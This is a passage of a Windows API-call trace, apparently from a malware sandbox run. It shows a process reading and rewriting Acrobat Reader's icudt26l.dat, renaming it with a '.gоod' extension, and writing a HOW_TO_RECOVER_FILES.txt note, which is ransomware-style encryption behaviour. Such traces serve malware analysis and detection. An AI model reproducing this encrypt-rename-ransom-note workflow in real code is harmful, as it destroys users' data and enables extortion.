lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode", lpFilePart=0x0) returned 0x4b [0102.342] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.342] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.342] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0102.343] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0102.343] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.343] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0102.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0102.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec670) returned 1 [0102.343] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU", nBufferLength=0x105, lpBuffer=0x1fcec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU", lpFilePart=0x0) returned 0x4f [0102.343] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x1fcec390 | out: lpFindFileData=0x1fcec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.344] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.344] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1 [0102.344] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.345] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec5b0) returned 1 [0102.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec570) returned 1 [0102.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec670) returned 1 [0102.345] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU", nBufferLength=0x105, lpBuffer=0x1fcec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU", lpFilePart=0x0) returned 0x4f [0102.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x1fcec390 | out: lpFindFileData=0x1fcec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.345] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.345] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1 [0102.345] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 0 [0102.345] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec5b0) returned 1 [0102.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec570) returned 1 [0102.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", nBufferLength=0x105, lpBuffer=0x1fcebf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", lpFilePart=0x0) returned 0x5c [0102.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec420) returned 1 [0102.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), fInfoLevelId=0x0, lpFileInformation=0x378a1f8 | out: lpFileInformation=0x378a1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x345f0)) returned 1 [0102.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec3e0) returned 1 [0102.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", nBufferLength=0x105, lpBuffer=0x1fcebe00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", lpFilePart=0x0) returned 0x5c [0102.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec320) returned 1 [0102.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0102.346] GetFileType (hFile=0x6e0) returned 0x1 [0102.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec290) returned 1 [0102.346] GetFileType (hFile=0x6e0) returned 0x1 [0102.346] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcec478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcec478*=0) returned 0x1000 [0102.346] ReadFile (in: hFile=0x6e0, lpBuffer=0x378a670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcec448, lpOverlapped=0x0 | out: lpBuffer=0x378a670*, lpNumberOfBytesRead=0x1fcec448*=0x1000, lpOverlapped=0x0) returned 1 [0102.348] CloseHandle (hObject=0x6e0) returned 1 [0102.348] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", nBufferLength=0x105, lpBuffer=0x1fcebe00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", lpFilePart=0x0) returned 0x5c [0102.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec320) returned 1 [0102.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0102.348] GetFileType (hFile=0x6e0) returned 0x1 [0102.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec290) returned 1 [0102.348] GetFileType (hFile=0x6e0) returned 0x1 [0102.348] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcec478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcec478*=0) returned 0x345f0 [0102.348] WriteFile (in: hFile=0x6e0, lpBuffer=0x378d118*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcec368, lpOverlapped=0x0 | out: lpBuffer=0x378d118*, lpNumberOfBytesWritten=0x1fcec368*=0x10, lpOverlapped=0x0) returned 1 [0102.349] CloseHandle (hObject=0x6e0) returned 1 [0102.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", nBufferLength=0x105, lpBuffer=0x1fcebe00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", lpFilePart=0x0) returned 0x5c [0102.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec320) returned 1 [0102.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0102.350] GetFileType (hFile=0x6e0) returned 0x1 [0102.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec290) returned 1 [0102.350] GetFileType (hFile=0x6e0) returned 0x1 [0102.350] ReadFile (in: hFile=0x6e0, lpBuffer=0x378f8f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcec3f8, lpOverlapped=0x0 | out: lpBuffer=0x378f8f8*, lpNumberOfBytesRead=0x1fcec3f8*=0x1000, lpOverlapped=0x0) returned 1 [0102.434] CloseHandle (hObject=0x6e0) returned 1 [0102.435] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", nBufferLength=0x105, lpBuffer=0x1fcebe00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", lpFilePart=0x0) returned 0x5c [0102.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec320) returned 1 [0102.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0102.435] GetFileType (hFile=0x6e0) returned 0x1 [0102.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec290) returned 1 [0102.435] GetFileType (hFile=0x6e0) returned 0x1 [0102.435] WriteFile (in: hFile=0x6e0, lpBuffer=0x378e620*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcec4a8, lpOverlapped=0x0 | out: lpBuffer=0x378e620*, lpNumberOfBytesWritten=0x1fcec4a8*=0x1010, lpOverlapped=0x0) returned 1 [0103.093] CloseHandle (hObject=0x6e0) returned 1 [0103.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", nBufferLength=0x105, lpBuffer=0x1fcebf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat", lpFilePart=0x0) returned 0x5c [0103.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcebf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat.gоod", lpFilePart=0x0) returned 0x61 [0103.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec3e0) returned 1 [0103.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcec4c0 | out: lpFileInformation=0x1fcec4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x39aa5e63, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x34600)) returned 1 [0103.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec3a0) returned 1 [0103.094] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\icudt26l.dat.gоod")) returned 1 [0103.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0103.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec5e0) returned 1 [0103.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\ICU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\icu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0103.096] GetFileType (hFile=0x6e0) returned 0x1 [0103.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec550) returned 1 [0103.096] GetFileType (hFile=0x6e0) returned 0x1 [0103.096] WriteFile (in: hFile=0x6e0, lpBuffer=0x3623b60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcec6a8, lpOverlapped=0x0 | out: lpBuffer=0x3623b60*, lpNumberOfBytesWritten=0x1fcec6a8*=0x5d0, lpOverlapped=0x0) returned 1 [0103.097] CloseHandle (hObject=0x6e0) returned 1 [0103.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec670) returned 1 [0103.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings", nBufferLength=0x105, lpBuffer=0x1fcec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings", lpFilePart=0x0) returned 0x54 [0103.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x1fcec390 | out: lpFindFileData=0x1fcec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.098] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.098] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0103.098] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0103.098] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0103.099] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0 [0103.099] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec5b0) returned 1 [0103.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcec570) returned 1 [0103.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcec670) returned 1 [0103.099] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings", nBufferLength=0x105, lpBuffer=0x1fcec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings", lpFilePart=0x0) returned 0x54 [0103.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x1fcec390 | out: lpFindFileData=0x1fcec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.099] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.099] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: lpFindFileData=0x1fcec350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdea4e7b8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0103.100] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fcec350 | out: 